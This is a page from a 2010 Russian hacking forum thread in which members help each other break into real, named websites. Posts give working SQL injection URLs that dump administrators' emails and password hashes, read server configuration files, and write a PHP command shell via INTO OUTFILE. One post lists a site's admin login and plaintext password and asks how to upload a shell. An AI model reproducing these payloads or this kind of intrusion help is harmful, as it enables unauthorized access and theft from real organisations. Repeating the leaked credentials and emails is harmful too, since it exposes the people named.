HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1532 из 2438 « Первая < 5321032143214821522 1528 1529 1530 1531 1532 1533 1534 1535 1536 1542158216322032 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #15311  
Старый 14.10.2010, 00:10
shell_c0de
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме:
1585404

Репутация: 564
Отправить сообщение для shell_c0de с помощью ICQ Отправить сообщение для shell_c0de с помощью AIM
По умолчанию
Цитата:
Сообщение от 0pTik  
0pTik said:
Заливаю шелл
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+UNION+SELECT+1,%27%3C?%20system%28$_GET[cmd]%29;%20?%3E%27,3,4,5%20from%20mysql.user%20into+outfile+%271.php%27

[/COLOR][/COLOR] 
-- и никак не могу найти его ))
http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/var/log/apache2/error_log'),3,4,5

http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/etc/apache2/httpd.conf'),3,4,5

http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,load_file('/etc/apache2/default-server.conf'),3,4,5
__________________
Никогда не бойся делать то, что ты не умеешь. Помни, ковчег был построен любителем. "Титаник" - проффесионалами.
 
Ответить с цитированием

  #15312  
Старый 14.10.2010, 01:39
0pTik
Guest
Сообщений: n/a
Провел на форуме:
43982

Репутация: 17
По умолчанию
Везде сказано про /srv/www/htdocs/ , пробовал подставлять не пишет (
 
Ответить с цитированием

  #15313  
Старый 14.10.2010, 02:07
GroM88
Познающий
Регистрация: 25.10.2007
Сообщений: 46
Провел на форуме:
318186

Репутация: 2
Отправить сообщение для GroM88 с помощью ICQ
По умолчанию
hxxp://www.enzymedica.com/locator/results_list.php?zip=1' помогите расскрутить чучуть. а то не могу чето лимит =\
 
Ответить с цитированием

  #15314  
Старый 14.10.2010, 10:02
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от GroM88  
GroM88 said:
hxxp://www.enzymedica.com/locator/results_list.php?zip=1' помогите расскрутить чучуть. а то не могу чето лимит =\
http://www.enzymedica.com/locator/results_list.php?zip=-1%27+union+select+1,version%28%29,user%28%29,datab ase%28%29,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4, 5+--+

admins

name:emailassword

[0]:KimJackson:kimjackson@enzymedica.com:c4666c6c7871 92575aded2c73d27278a

[1]:Enzymedicarders@enzymedica.com:655ef9fec684d34335 1ee72dbeb95dd6

[2]:Kim Barton:kim@enzymedica.com:655ef9fec684d343351ee72d beb95dd6

[3]:Admin Arearder@enzymedica.com:e69dc2c09e8da6259422d987cc be95b5

[4]:cornerstone:julianna@cornerstone1.com:f326e2c3453 cf64cdb979e1c8d53293d

[5]:WebTent:support@webtent.com:e1197bbf2f07992aa7936 c49d3b41319
 
Ответить с цитированием

  #15315  
Старый 14.10.2010, 10:33
GroM88
Познающий
Регистрация: 25.10.2007
Сообщений: 46
Провел на форуме:
318186

Репутация: 2
Отправить сообщение для GroM88 с помощью ICQ
По умолчанию
Gorev спасибо.

Тут вот другой вопрос возник

при запросе :

http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),5, 6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+infor mation_schema.tables+--+

Мне выдает какую то будылыгу = \

Service Temporarily Unavailable

The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.

При таком запросе:

http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,table_name,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5+from+information_schema.table s+limit+0,1+--+

Странно. Мб кто нибудь знает почему не выводит названия таблиц?
 
Ответить с цитированием

  #15316  
Старый 14.10.2010, 10:40
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию
Цитата:
Сообщение от GroM88  
GroM88 said:
Gorev
спасибо.
Тут вот другой вопрос возник
при запросе :
http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),5, 6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+infor mation_schema.tables+--+
Мне выдает какую то будылыгу = \
Service Temporarily Unavailable
The server is temporarily unable to service your request due to maintenance downtime or capacity problems. Please try again later.
При таком запросе:
http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,table_name,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5+from+information_schema.table s+limit+0,1+--+
Странно. Мб кто нибудь знает почему не выводит названия таблиц?
http://www.enzymedica.com/locator/results_list.php?zip=1%27+UNION+SELECT+1,AES_DECRY PT%28AES_ENCRYPT%28CONCAT%28%28SELECT+TABLE_NAME+F ROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1%29%29,0x71 %29,0x71%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25--%20+
 
Ответить с цитированием

  #15317  
Старый 14.10.2010, 10:53
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423

Репутация: 32
По умолчанию
Цитата:
Сообщение от 0pTik  
0pTik said:
Везде сказано про /srv/www/htdocs/ , пробовал подставлять не пишет (
А какую инъекцию составляешь?

Вот так не работает?



http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,%27%27,3,4,5+from+mysql.u ser+into+outfile+%27/srv/www/htdocs/php/newdesign/nacional/1.php%27

И шелл должен быть тут

http://www.eurotur.com.ar/php/newdesign/nacional/1.php

Если нет, то скорей всего папка недоступна на запись. Попробуй найти другую.
 
Ответить с цитированием

  #15318  
Старый 14.10.2010, 11:37
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию
http://www.enzymedica.com/locator/results_list.php?zip=-1'+union+select+1,group_concat(0x3a,table_name),3, 4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5+from+i nformation_schema./*!tables*/+--+

И вообще..

Цитата:
Сообщение от None  
union+select+1,group_concat(0x3a,table_name),5
где столбцы 3,4 потерял? =)
 
Ответить с цитированием

  #15319  
Старый 14.10.2010, 11:45
0pTik
Guest
Сообщений: n/a
Провел на форуме:
43982

Репутация: 17
По умолчанию
Цитата:
Сообщение от mr.celt  
mr.celt said:
А какую инъекцию составляешь?
Вот так не работает?


http://www.eurotur.com.ar/php/newdesign/nacional/region.php?tipoweb=1&directorio=/php/newdesign/nacional/&tipoturismo=2&region_id=&pais_codigo=-1+and+1=0+Union+Select+1,%27%27,3,4,5+from+mysql.u ser+into+outfile+%27/srv/www/htdocs/php/newdesign/nacional/1.php%27
И шелл должен быть тут
http://www.eurotur.com.ar/php/newdesign/nacional/1.php
Если нет, то скорей всего папка недоступна на запись. Попробуй найти другую.
Да не доступна
 
Ответить с цитированием

  #15320  
Старый 14.10.2010, 11:52
GroM88
Познающий
Регистрация: 25.10.2007
Сообщений: 46
Провел на форуме:
318186

Репутация: 2
Отправить сообщение для GroM88 с помощью ICQ
По умолчанию
Всем огромный респект за помощь со скулей)

тут другой вопрос пожоще = )

как залить шел?)

Есть полный доступ к админке)

https://enzymedica.com/admin/

login: order@enzymedica.com

pass: asdqwe123

В админке я нашол только залитие картинок = ) php не пропускает = \

очень нужно взять пару php файлов оттуда = \
 
Ответить с цитированием
Ответ
Страница 1532 из 2438 « Первая < 5321032143214821522 1528 1529 1530 1531 1532 1533 1534 1535 1536 1542158216322032 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ